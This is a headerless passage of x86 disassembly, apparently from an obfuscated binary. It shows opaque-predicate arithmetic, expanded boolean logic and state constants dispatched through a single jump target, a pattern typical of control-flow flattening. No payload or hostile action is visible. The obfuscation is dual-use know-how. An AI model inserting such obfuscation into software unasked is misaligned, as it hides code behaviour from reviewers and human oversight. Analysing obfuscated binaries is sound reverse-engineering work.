and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x83314], al
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov dh, 1
xor dh, 0
mov dl, ah
xor dl, dh
and dl, ah
mov dh, bh
xor dh, 0xff
mov ah, cl
xor ah, dh
and ah, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, dl
and ah, 0
and al, dh
mov byte [ebp - 0x83316], al
mov al, bl
and al, 0
mov byte [ebp - 0x83315], al
mov al, byte [ebp - 0x83316]
and cl, dh
or ah, al
mov al, byte [ebp - 0x83315]
or al, cl
mov cl, byte [ebp - 0x83314]
xor ah, al
mov al, byte [ebp - 0x83313]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or bl, ch
or dl, ah
xor bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x83312], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x83312]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8567cdce
mov ecx, 0x76a05c4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov edx, dword [ebp - 0x83110]
mov esi, dword [ebp - 0x8310c]
mov eax, 0xf870f8f0
mov ecx, 0x7a2e3e0c
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0xfe4209c4
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x8fcff425
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xe3174d07
sub edx, 0xfe4209c4
add edx, 0xe3174d07
xor esi, esi
sub esi, 0x253ea2fc
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x253ea2fc
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x2a8685c4
add edx, esi
add edx, 0x5697b016
sub edx, 0x8fcff425
sub edx, 0x5697b016
xor esi, esi
sub esi, 0x2a8685c4
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x83384], cl
cmp eax, 0xa
setl ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov bh, 1
xor bh, 1
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x83391], cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, cl
and ah, 0
and bh, dh
mov byte [ebp - 0x83393], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x83392], al
mov al, byte [ebp - 0x83393]
or ah, al
mov al, byte [ebp - 0x83392]
or bh, al
mov al, byte [ebp - 0x83391]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ah, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or dl, ah
or al, cl
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov bh, ch
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x83390], ah
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov bl, dh
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x83390]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, 1
xor al, 1
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x8338d], al
mov dh, 1
xor dh, 1
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov bl, dh
xor bl, 0xff
mov al, 1
xor al, 0
or cl, bl
or al, 0
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov byte [ebp - 0x8338f], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x8338e], al
mov al, byte [ebp - 0x8338f]
and bl, 1
or bh, al
mov al, byte [ebp - 0x8338e]
or al, bl
xor bh, al
mov al, 1
xor al, 1
mov bl, bh
xor bl, al
mov al, byte [ebp - 0x8338d]
and bl, bh
mov byte [ebp - 0x83388], bl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov byte [ebp - 0x8338a], dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x83389], bl
mov bh, 1
xor bh, 0
mov bl, dh
and bl, 0
and al, bh
mov byte [ebp - 0x8338c], al
mov al, byte [ebp - 0x83389]
and al, 0
mov byte [ebp - 0x8338b], al
mov al, byte [ebp - 0x8338c]
and cl, bh
or bl, al
mov al, byte [ebp - 0x8338b]
or al, cl
mov cl, byte [ebp - 0x8338a]
xor bl, al
mov al, byte [ebp - 0x83389]
or dh, al
mov al, byte [ebp - 0x83388]
xor dh, 0xff
or bh, 0
and dh, bh
or bl, dh
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, bh
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0x83361], al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov bl, dl
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0x83387], al
mov cl, 1
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bl
or al, dh
xor cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dh, al
mov al, byte [ebp - 0x83387]
or bl, bh
xor dh, bl
mov byte [ebp - 0x83382], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x83383], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x83386], al
mov al, byte [ebp - 0x83383]
and al, 0
mov byte [ebp - 0x83385], al
mov al, byte [ebp - 0x83386]
and cl, bh
or dh, al
mov al, byte [ebp - 0x83385]
or al, cl
mov cl, byte [ebp - 0x83384]
xor dh, al
mov al, byte [ebp - 0x83383]
or bl, al
mov al, byte [ebp - 0x83382]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bh, al
and bh, 1
xor al, 1
or bh, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and dh, al
mov al, byte [ebp - 0x83361]
or bl, dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x8336a], dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x83381], al
mov bh, cl
and bh, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x83380], al
mov al, byte [ebp - 0x83381]
and bl, al
mov al, byte [ebp - 0x83380]
or dh, bh
or al, bl
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, ah
and cl, bl
or al, cl
mov byte [ebp - 0x8337f], al
mov al, 1
xor al, 0
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x8337f]
or bl, bh
xor al, bl
mov byte [ebp - 0x8337c], al
mov bl, 1
xor bl, 0
and bl, 0
mov al, 1
xor al, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x8337e], bh
mov bh, 1
xor bh, 1
and bh, 0
and al, 1
mov byte [ebp - 0x8337d], al
mov al, byte [ebp - 0x8337e]
or bl, al
mov al, byte [ebp - 0x8337d]
or bh, al
mov al, byte [ebp - 0x8337c]
xor bl, bh
mov byte [ebp - 0x83377], bl
mov bl, cl
xor bl, 0xff
xor al, 0xff
mov byte [ebp - 0x83376], al
mov bh, 1
xor bh, 1
mov al, bl
and al, 0xff
mov byte [ebp - 0x8337b], al
mov al, byte [ebp - 0x83376]
and cl, bh
and al, 0xff
mov byte [ebp - 0x8337a], al
mov al, byte [ebp - 0x8337c]
and al, bh
mov byte [ebp - 0x83379], al
mov al, byte [ebp - 0x8337b]
or al, cl
mov cl, byte [ebp - 0x8337a]
mov byte [ebp - 0x83378], al
mov al, byte [ebp - 0x83379]
or cl, al
mov al, byte [ebp - 0x83378]
xor al, cl
mov cl, byte [ebp - 0x83377]
mov byte [ebp - 0x83375], al
mov al, byte [ebp - 0x83376]
or bl, al
mov al, byte [ebp - 0x83375]
xor bl, 0xff
or bh, 1
and bl, bh
or al, bl
mov byte [ebp - 0x83370], al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x83371], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83372], al
mov bh, 1
xor bh, 0
and bl, 0
mov al, bh
and al, 0
mov byte [ebp - 0x83374], al
mov al, byte [ebp - 0x83372]
and al, 0
mov byte [ebp - 0x83373], al
mov al, byte [ebp - 0x83374]
and cl, bh
or bl, al
mov al, byte [ebp - 0x83373]
or al, cl
mov cl, byte [ebp - 0x83372]
xor bl, al
mov al, byte [ebp - 0x83371]
or al, cl
mov cl, byte [ebp - 0x83370]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x8336f], al
mov al, 1
xor al, 1
and cl, al
mov bh, 1
xor bh, 1
and bh, 0xff
and al, 1
mov byte [ebp - 0x8336e], al
mov al, byte [ebp - 0x8336f]
or al, cl
mov cl, byte [ebp - 0x8336e]
or bh, cl
mov cl, byte [ebp - 0x83361]
xor al, bh
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
or al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x8336d], cl
mov cl, 1
xor cl, 0
mov bl, ch
and bl, cl
mov byte [ebp - 0x8336c], bl
mov bl, al
xor bl, 0xff
and bl, 0
and al, cl
mov cl, byte [ebp - 0x8336d]
mov byte [ebp - 0x8336b], al
mov al, byte [ebp - 0x8336c]
or cl, al
mov al, byte [ebp - 0x8336b]
or bl, al
mov al, byte [ebp - 0x8336a]
xor cl, bl
xor ch, 0xff
mov bl, cl
xor bl, ch
and bl, cl
mov ch, dh
xor ch, 0xff
mov cl, al
xor cl, ch
and cl, al
mov byte [ebp - 0x83369], cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83368], cl
and al, cl
mov cl, byte [ebp - 0x83369]
mov byte [ebp - 0x83367], al
mov al, dh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x83366], al
mov al, byte [ebp - 0x83368]
and dh, al
mov al, byte [ebp - 0x83367]
or ch, al
mov al, byte [ebp - 0x83366]
or al, dh
xor ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x83365], al
mov al, bl
xor al, 0xff
mov ch, bh
xor ch, al
and ch, bh
mov dh, bh
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and bh, al
mov cl, bl
xor cl, 0xff
and cl, 0xff
and bl, al
mov al, byte [ebp - 0x83365]
or dh, bh
or cl, bl
xor dh, cl
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov byte [ebp - 0x83362], cl
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dh, cl
mov ch, 1
xor ch, 0
xor dh, 0xff
mov cl, 1
xor cl, 1
or ch, dh
or cl, 1
xor ch, 0xff
and ch, cl
mov dh, 1
xor dh, 0
and dh, 0
mov bh, 1
xor bh, 0
mov cl, bh
and cl, 0
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or dh, cl
mov cl, byte [ebp - 0x83362]
or bl, bh
xor dh, bl
mov bl, dh
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x83364], al
mov bl, 1
xor bl, 0
and cl, bl
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x83363], al
mov al, byte [ebp - 0x83364]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x83363]
or cl, bl
xor al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0x83362]
or bl, 1
xor al, 0xff
and al, bl
xor cl, 0xff
xor dh, 0xff
mov bl, 1
xor bl, 0
or cl, dh
mov dh, byte [ebp - 0x83361]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0x83353], al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
xor ch, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bh
or dl, ah
xor al, dl
mov ah, 1
xor ah, 0
mov dl, al
xor dl, ah
and dl, al
mov ah, 1
xor ah, 1
xor bl, 0xff
mov al, 1
xor al, 0
or ah, bl
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov ah, dh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, ah
or al, cl
xor ch, al
mov byte [ebp - 0x8335a], ch
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov byte [ebp - 0x83357], bh
mov cl, bl
xor cl, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x83360], al
xor ch, 0xff
mov al, 1
xor al, 0
mov ah, 1
xor ah, 1
or ch, al
mov al, byte [ebp - 0x83360]
or ah, 1
xor ch, 0xff
and ch, ah
xor dh, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
or dh, bh
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x8335b], al
mov bh, 1
xor bh, 0
mov al, ah
and al, 0
mov byte [ebp - 0x8335f], al
mov al, byte [ebp - 0x8335b]
and cl, bh
and al, 0
mov byte [ebp - 0x8335d], al
mov al, byte [ebp - 0x83360]
and al, bh
mov byte [ebp - 0x8335e], al
mov al, byte [ebp - 0x8335f]
or al, cl
mov cl, byte [ebp - 0x8335e]
mov byte [ebp - 0x8335c], al
mov al, byte [ebp - 0x8335d]
or al, cl
mov cl, byte [ebp - 0x8335c]
xor cl, al
mov al, byte [ebp - 0x8335b]
or ah, al
mov al, byte [ebp - 0x8335a]
xor ah, 0xff
or bh, 0
and ah, bh
or cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bh, ah
and bh, ch
xor ah, 0xff
and cl, ah
or bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bl, ch
mov byte [ebp - 0x83359], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x83358], al
mov al, byte [ebp - 0x83359]
or ah, al
mov al, byte [ebp - 0x83358]
or bl, al
mov al, byte [ebp - 0x83357]
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x83354], cl
mov ah, 1
xor ah, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
mov bl, ch
and bl, 0
mov byte [ebp - 0x83356], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x83355], al
mov al, byte [ebp - 0x83356]
or cl, al
mov al, byte [ebp - 0x83355]
or bl, al
mov al, byte [ebp - 0x83354]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x83353]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov cl, bl
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x83352], cl
mov ah, bh
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 0
mov ch, 1
xor ch, 0
or ah, al
mov al, byte [ebp - 0x83352]
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x8334d], ah
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x8334f], dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x8334e], dl
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov byte [ebp - 0x83351], al
mov al, byte [ebp - 0x8334e]
and al, 0
mov byte [ebp - 0x83350], al
mov al, byte [ebp - 0x83351]
and cl, ch
or dl, al
mov al, byte [ebp - 0x83350]
or al, cl
mov cl, byte [ebp - 0x8334f]
xor dl, al
mov al, byte [ebp - 0x8334e]
or ah, al
mov al, byte [ebp - 0x8334d]
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov byte [ebp - 0x8334a], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83349], dl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and al, ah
mov byte [ebp - 0x8334c], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x8334b], al
mov al, byte [ebp - 0x8334c]
and cl, ah
or dl, al
mov al, byte [ebp - 0x8334b]
or al, cl
mov cl, byte [ebp - 0x8334a]
xor dl, al
mov al, byte [ebp - 0x83349]
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x83348], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x83348]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb33a40c3
mov ecx, 0x8a7b1c42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov edi, dword [ebp - 0x83108]
mov edx, 0xffffffff
xor edx, 3
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 3
or edx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x1022591e
or eax, edx
or ecx, 0x1022591e
xor eax, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x7ebce301
mov edx, 0xffffffff
xor edx, 0x7ebce301
mov ebx, edx
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x7ebce301
and edx, 0xffffffff
or esi, ebx
or ecx, edx
xor esi, ecx
mov ecx, 0xffffffff
xor ecx, 3
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7b9835e0
or ecx, esi
or edx, 0x7b9835e0
xor ecx, 0xffffffff
and ecx, edx
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x5b73cf96
mov edx, 0xffffffff
xor edx, 0x5b73cf96
mov ebx, edi
and ebx, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x5b73cf96
and edx, 0xffffffff
or eax, ebx
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0x87703824
and eax, 0x87703824
mov dword [ebp - 0x833c0], eax
mov ebx, 0xffffffff
xor ebx, 0x87703824
and ebx, 0x2c3efdab
mov ecx, 0xffffffff
xor ecx, 0x2c3efdab
mov edx, ecx
and edx, 0x87703824
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x2c3efdab
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov ecx, ebx
xor ecx, 0xffffffff
mov eax, edi
xor eax, ecx
and eax, edi
mov dword [ebp - 0x833b8], eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0x11153a4d
mov ecx, 0xffffffff
xor ecx, 0x11153a4d
mov eax, esi
and eax, ecx
mov dword [ebp - 0x833c8], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x11153a4d
mov dword [ebp - 0x833c4], eax
mov eax, dword [ebp - 0x833c8]
and ecx, 0xffffffff
or edx, eax
mov eax, dword [ebp - 0x833c4]
or eax, ecx
mov ecx, dword [ebp - 0x833c0]
xor edx, eax
mov dword [ebp - 0x833bc], edx
mov eax, 0xffffffff
xor eax, 0x87703824
xor edx, eax
mov eax, dword [ebp - 0x833bc]
and edx, eax
xor esi, 0xffffffff
xor ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xbc0f7d98
or esi, ebx
mov ebx, dword [ebp - 0x833b8]
or eax, 0xbc0f7d98
xor esi, 0xffffffff
and esi, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x833a4], eax
xor ebx, 0xffffffff
mov dword [ebp - 0x833a0], ebx
mov ebx, 0xffffffff
xor ebx, 0x612fe997
and eax, 0x612fe997
mov dword [ebp - 0x833b4], eax
mov eax, dword [ebp - 0x833a0]
and ecx, ebx
and eax, 0x612fe997
mov dword [ebp - 0x833b0], eax
mov eax, dword [ebp - 0x833b8]
and eax, ebx
mov dword [ebp - 0x833ac], eax
mov eax, dword [ebp - 0x833b4]
or eax, ecx
mov ecx, dword [ebp - 0x833b0]
mov dword [ebp - 0x833a8], eax
mov eax, dword [ebp - 0x833ac]
or ecx, eax
mov eax, dword [ebp - 0x833a8]
xor eax, ecx
mov ecx, dword [ebp - 0x833a4]
mov dword [ebp - 0x8339c], eax
mov eax, dword [ebp - 0x833a0]
or ecx, eax
mov eax, dword [ebp - 0x8339c]
xor ecx, 0xffffffff
